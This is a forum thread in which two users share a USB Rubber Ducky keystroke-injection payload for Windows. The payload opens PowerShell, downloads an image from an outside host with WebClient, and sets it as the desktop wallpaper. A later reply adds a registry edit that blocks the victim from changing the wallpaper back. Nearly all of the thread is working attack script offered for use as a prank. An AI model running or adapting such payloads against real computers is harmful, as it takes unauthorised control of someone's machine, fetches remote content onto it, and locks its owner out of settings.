bonowantbiddy Posted October 17, 2011 Share Posted October 17, 2011 This is my first payload, it downloads an image and sets as a desktop background. Enjoy! GUI d DELAY 300 GUI r DELAY 300 STRING powershell DELAY 200 ENTER STRING cd c:\temp DELAY 300 ENTER STRING $clnt = new-object System.Net.WebClient ENTER DELAY 200 STRING $clnt | gm d* DELAY 300 ENTER STRING $url = "http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg" DELAY 300 ENTER DELAY 300 STRING $file = "c:\temp\USB_duck_image.jpg" ENTER DELAY 300 STRING $clnt.DownloadFile($url,$file) ENTER DELAY 300 ENTER DELAY 100 CTRL ESC DELAY 100 STRING c:\temp\USB_duck_image.jpg DELAY 300 DOWNARROW DELAY 300 MENU DOWNARROW DELAY 300 DOWNARROW ENTER DELAY 300 GUI d Quote Link to comment Share on other sites More sharing options...
wopch Posted October 28, 2013 Share Posted October 28, 2013 (edited) Hi Geeks ! Sorry for digging up the topic ... But I found it quite funny payload, I will add just this line that prevents changing the wallpaper PS : (Sorry for my english level..... I'm French !) ^_^ This is my first payload, it downloads an image and sets as a desktop background. Enjoy!GUI dDELAY 300GUI rDELAY 300STRING powershellDELAY 200ENTERSTRING cd c:\tempDELAY 300ENTERSTRING $clnt = new-object System.Net.WebClientENTERDELAY 200STRING $clnt | gm d*DELAY 300ENTERSTRING $url = "http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg"DELAY 300ENTERDELAY 300STRING $file = "c:\temp\USB_duck_image.jpg"ENTERDELAY 300STRING $clnt.DownloadFile($url,$file)ENTERDELAY 300ENTERDELAY 100CTRL ESCDELAY 100STRING c:\temp\USB_duck_image.jpgDELAY 300DOWNARROWDELAY 300MENUDOWNARROWDELAY 300 DOWNARROWENTERDELAY 300 GUI r DELAY 300 STRING CMD ENTER DELAY 300 STRING REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /V NoChangingWallPaper /T REG_DWORD /D 1 ENTER DELAY 300 STRING CLS ENTER DELAY 300GUI d Edited October 28, 2013 by wopch Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.